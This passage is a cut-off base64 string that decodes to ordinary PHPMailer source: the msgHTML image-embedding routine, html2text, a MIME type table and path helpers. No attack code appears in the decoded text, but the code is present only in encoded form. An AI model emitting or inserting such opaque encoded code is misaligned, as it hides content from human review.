RvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJ